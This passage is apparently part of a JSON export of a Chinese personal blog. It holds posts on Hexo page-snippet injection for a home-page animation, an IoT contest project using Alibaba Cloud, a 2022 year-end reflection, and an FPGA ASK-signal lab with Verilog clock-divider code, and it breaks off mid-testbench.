的代码。\u003c/p\u003e\u003cp\u003e这里发挥作用的是 \u003cstrong\u003e\u003ccode\u003eregister\u003c/code\u003e\u003c/strong\u003e 函数。\u003c/p\u003e\u003ch3 id=\"register-函数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5eba/#register-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"register 函数\"\u003e\u003c/a\u003e\u003ccode\u003eregister\u003c/code\u003e 函数\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eregister\u003c/code\u003e 函数可接受三个参数。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第一个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第一个参数是\u003cstrong\u003e代码片段注入的位置\u003c/strong\u003e,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ehead_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 之后(默认)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehead_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/head\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_begin\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 之后\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebody_end\u003c/code\u003e: 注入在 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 之前\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第二个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第二个参数是注入的片段,可以是字符串,也可以是一个返回值为字符串的函数。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e第三个参数\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e第三个参数是注入的页面类型,接受以下值:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edefault\u003c/code\u003e: 注入到每个页面(默认值)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ehome\u003c/code\u003e: 只注入到主页(\u003ccode\u003eis_home()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epost\u003c/code\u003e: 只注入到文章页面(\u003ccode\u003eis_post()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003epage\u003c/code\u003e: 只注入到独立页面(\u003ccode\u003eis_page()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003earchive\u003c/code\u003e: 只注入到归档页面(\u003ccode\u003eis_archive()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003ecategory\u003c/code\u003e: 只注入到分类页面(\u003ccode\u003eis_category()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e\u003ccode\u003etag\u003c/code\u003e: 只注入到标签页面(\u003ccode\u003eis_tag()\u003c/code\u003e 为 \u003ccode\u003etrue\u003c/code\u003e 的页面)\u003c/li\u003e\u003cli\u003e或是其他自定义 layout 名称,例如在Fluid 主题中 \u003ccode\u003eabout\u003c/code\u003e 对应关于页、\u003ccode\u003elinks\u003c/code\u003e 对应友联页\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如上面我要樱花飘落的动画只在首页显示,所以选择 \u003ccode\u003ehome\u003c/code\u003e 这个参数。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"【有方杯总结】一个物联网小项目\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1b10/#%E3%80%90%E6%9C%89%E6%96%B9%E6%9D%AF%E6%80%BB%E7%BB%93%E3%80%91%E4%B8%80%E4%B8%AA%E7%89%A9%E8%81%94%E7%BD%91%E5%B0%8F%E9%A1%B9%E7%9B%AE\" class=\"headerlink\" title=\"【有方杯总结】一个物联网小项目\"\u003e\u003c/a\u003e【有方杯总结】一个物联网小项目\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1b10/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e这次的项目其实是比较简单的。相对于大二那会做的广和通物联网项目来说,这次的项目算是比较有条理的做了下来,能理清楚各部分的关系,在编写的过程中不断学习实践,各类传感器的整合,数据上报,云端数据的流转……收获很多。\u003c/p\u003e\u003cp\u003e不过总的来说,这个项目是单片机收集了一些传感器的数据,然后通过 \u003ccode\u003e有方N58\u003c/code\u003e 通信模块上报阿里云物联网平台,进而展示在前端页面上。\u003c/p\u003e\u003cp\u003e想想之前做广和通的时候没搞清楚这些关系,先是在服务器上运行了一个 \u003ccode\u003ec-socket\u003c/code\u003e 脚本,然后用广和通物联网模块去连接这个脚本,之后脚本将接收到的数据写入文件。网页前端是不断访问这个文件进行页面展示数据的更改。走了很多弯路,而且很不稳定,每次断掉之后得等服务器上那个端口空闲之后才能再次运行脚本……这次使用了 \u003ccode\u003ewebsocket\u003c/code\u003e 与阿里云物联网平台,可以说是又稳又快,用 \u003ccode\u003ejs\u003c/code\u003e 处理数据也方便的多。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e用 \u003ccode\u003eC语言\u003c/code\u003e 处理字符串还是太折磨人了。\u003c/del\u003e\u003c/p\u003e\u003cp\u003e大概流程:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/2.png\"/\u003e\u003c/p\u003e\u003cp\u003e前端演示地址:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://neoway.ksfu.top/\"\u003ehttp://neoway.ksfu.top/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e前端效果图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/neoway/1.jpg\"/\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体内容的起来再写~\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2022-年终总结\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/3ff3/#2022-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2022 年终总结\"\u003e\u003c/a\u003e2022 年终总结\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e因为这几天趁着冬促入了奥德赛,所以还在肝这玩意,先占个坑肝差不多了就写\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e奥德赛好长啊\u003c/del\u003e\u003c/p\u003e\u003cp\u003e去年还是太逆天了,不过终究是过来了。\u003c!--今年要准备考研了。--\u003e今年到目前来说还不错,追了很多场演唱会,也和同学组多参加了一些小比赛。不过压力也感觉大了起来,感觉自己现在也没啥技能,简历上没啥东西能写。学业上也不咋样。女朋友必然也是没有的(也没认识几个女生就是说。体重只能说保持的还不错。海浪会来,希望这学期的生活能冲淡去年的影响,等这学期大三总结和2022总结一起写吧。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E5%9F%BA%E4%BA%8EFPGA%E7%9A%84ASK%E4%BF%A1%E5%8F%B7%E7%94%9F%E6%88%90%E5%8F%8A%E6%B5%8B%E9%87%8F%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF\" class=\"headerlink\" title=\"基于FPGA的ASK信号生成及测量分析技术\"\u003e\u003c/a\u003e基于FPGA的ASK信号生成及测量分析技术\u003c/h1\u003e\u003cp\u003e) 随机信号实验选到了这个,就当学 \u003ccode\u003eVerilog\u003c/code\u003e 了。\u003c/p\u003e\u003cp\u003e(以下内容围绕西电通院随机信号实验:《基于FPGA的ASK信号生成及测量分析技术》展开。\u003c/p\u003e\u003ch2 id=\"模块框图\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E6%A1%86%E5%9B%BE\" class=\"headerlink\" title=\"模块框图\"\u003e\u003c/a\u003e模块框图\u003c/h2\u003e\u003cp\u003e2ASK调制电路组成框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%B0%E5%BD%95.png\"/\u003e\u003cp\u003e2ASK调制的FPGA程序框图\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%A1%86%E5%9B%BE.png\"/\u003e\u003ch2 id=\"模块分解\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#%E6%A8%A1%E5%9D%97%E5%88%86%E8%A7%A3\" class=\"headerlink\" title=\"模块分解\"\u003e\u003c/a\u003e模块分解\u003c/h2\u003e\u003cp\u003e梳理一下:\u003c/p\u003e\u003col\u003e\u003cli\u003e分频模块\u003c/li\u003e\u003cli\u003e载波产生模块\u003cul\u003e\u003cli\u003e八进制计数器\u003c/li\u003e\u003cli\u003eROM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003em序列产生模块\u003c/li\u003e\u003cli\u003e键控开关\u003c/li\u003e\u003cli\u003eDAC输出模块(给了)\u003c/li\u003e\u003cli\u003e拓展输出口(给了)\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e所以需要编写5个模块。\u003c/p\u003e\u003ch3 id=\"1-分频模块设计\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5f6b/#1-%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97%E8%AE%BE%E8%AE%A1\" class=\"headerlink\" title=\"1. 分频模块设计\"\u003e\u003c/a\u003e1. 分频模块设计\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e2.1.1按原理2.1节设计分频器a(4分频、6分频、10分频等)将系统时钟sys_clk分频,作为载波产生模块的时钟,则载波频率为sys_clk/(分频值a*一个载波周期的存储点数n)(Hz)。(sys_clk=26MHz)\u003c/p\u003e\u003cp\u003e2.1.2按原理2.1节设计分频器b(分频值应设置为上步中a*n的整数倍)将系统时钟分频,作为m序列产生模块的时钟,则基带码元速率为sys_clk/b(bit/s)。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以知道要设计两个分频模块,其中主频为 \u003cstrong\u003e26MHz\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e分频模块端口示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E6%A8%A1%E5%9D%97.png\" style=\"zoom: 50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003eclk端为系统时钟信号输入,从out8、out16、out256可分别得到系统时钟的8分频、16分频和256分频信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经历了一晚上的折磨,我终于悟出了:\u003cstrong\u003e所谓X分频,就是把时钟原来每一下变一次,变成现在是每X下变一次。\u003c/strong\u003e \u003cdel\u003e(有时候很明显的事情就是转不过来弯\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以就可以顺着这个思路编写 \u003ccode\u003efenpin.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e fenpin \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 所谓X分频,就是原来时钟是每一下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 现在是每X下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// lb(256) = 8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 折中计数到一半就行\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 8分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 16分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 256分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_fenpin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003efenpin fenpin_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout8 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout16 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout256 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" 